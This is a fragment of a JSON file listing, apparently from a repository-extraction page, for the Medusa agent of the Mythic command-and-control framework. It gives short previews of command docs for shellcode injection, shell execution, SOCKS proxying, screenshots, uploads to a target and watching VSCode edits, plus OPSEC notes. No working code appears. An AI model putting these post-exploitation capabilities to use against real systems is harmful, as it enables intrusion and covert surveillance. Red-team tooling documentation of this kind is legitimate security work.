"preview": "+++\ntitle = \"ps\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the ctypes library to interface "
},
{
"path": "documentation-payload/medusa/commands/ps_full.md",
"chars": 11523,
"preview": "+++\ntitle = \"ps_full\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the ctypes library to inter"
},
{
"path": "documentation-payload/medusa/commands/rm.md",
"chars": 875,
"preview": "+++\ntitle = \"rm\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nRemove a file or directory, no quotes are "
},
{
"path": "documentation-payload/medusa/commands/screenshot.md",
"chars": 2819,
"preview": "+++\ntitle = \"screenshot\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nUse the built-in CGDisplay API cal"
},
{
"path": "documentation-payload/medusa/commands/shell.md",
"chars": 996,
"preview": "+++\ntitle = \"shell\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis runs {command} in a terminal by le"
},
{
"path": "documentation-payload/medusa/commands/shinject.md",
"chars": 2466,
"preview": "+++\ntitle = \"shinject\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis takes shellcode and injects it "
},
{
"path": "documentation-payload/medusa/commands/sleep.md",
"chars": 891,
"preview": "+++\ntitle = \"sleep\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nModify the time between callbacks in se"
},
{
"path": "documentation-payload/medusa/commands/socks.md",
"chars": 14693,
"preview": "+++\ntitle = \"socks\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis establishes a SOCKS5 proxy through"
},
{
"path": "documentation-payload/medusa/commands/spawn_jxa.md",
"chars": 2195,
"preview": "+++\ntitle = \"spawn_jxa\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis spawns a new instance of `osas"
},
{
"path": "documentation-payload/medusa/commands/unload.md",
"chars": 1051,
"preview": "+++\ntitle = \"unload\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nUnload an existing capability from the"
},
{
"path": "documentation-payload/medusa/commands/unload_module.md",
"chars": 1076,
"preview": "+++\ntitle = \"unload_module\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nUnloads a module that is curren"
},
{
"path": "documentation-payload/medusa/commands/upload.md",
"chars": 2009,
"preview": "+++\ntitle = \"upload\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nUpload a file to the target machine by"
},
{
"path": "documentation-payload/medusa/commands/vscode_list_recent.md",
"chars": 1707,
"preview": "+++\ntitle = \"vscode_list_recent\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the Python `sqli"
},
{
"path": "documentation-payload/medusa/commands/vscode_open_edits.md",
"chars": 2632,
"preview": "+++\ntitle = \"vscode_open_edits\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis recurses the VSCode Ba"
},
{
"path": "documentation-payload/medusa/commands/vscode_watch_edits.md",
"chars": 5990,
"preview": "+++\ntitle = \"vscode_watch_edits\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nContinuously poll a VSCode"
},
{
"path": "documentation-payload/medusa/commands/watch_dir.md",
"chars": 4825,
"preview": "+++\ntitle = \"watch_dir\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nContinuously poll a directory and r"
},
{
"path": "documentation-payload/medusa/development.md",
"chars": 5727,
"preview": "+++\ntitle = \"Development\"\nchapter = false\nweight = 20\npre = \"<b>3. </b>\"\n+++\n\n## Adding Commands\n\nCommands are located i"
},
{
"path": "documentation-payload/medusa/opsec.md",
"chars": 1168,
"preview": "+++\ntitle = \"OPSEC\"\nchapter = false\nweight = 10\npre = \"<b>1. </b>\"\n+++\n\n### Process Execution\n\n- The `shell` command spa"
},
{
"path": "documentation-wrapper/.keep",
"chars": 0,
"preview": ""
},
{
"path": "tests/test_payload_build_matrix.py",
"chars": 11349,
"preview": "import asyncio\nimport importlib.util\nimport os\nimport pathlib\nimport py_compile\nimport re\nimport shutil\nimport sys\nimpor"
}
]
About this extraction
This page contains the full source code of the MythicAgents/Medusa GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 172 files (440.9 KB), approximately 109.3k tokens, and a symbol index with 324 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.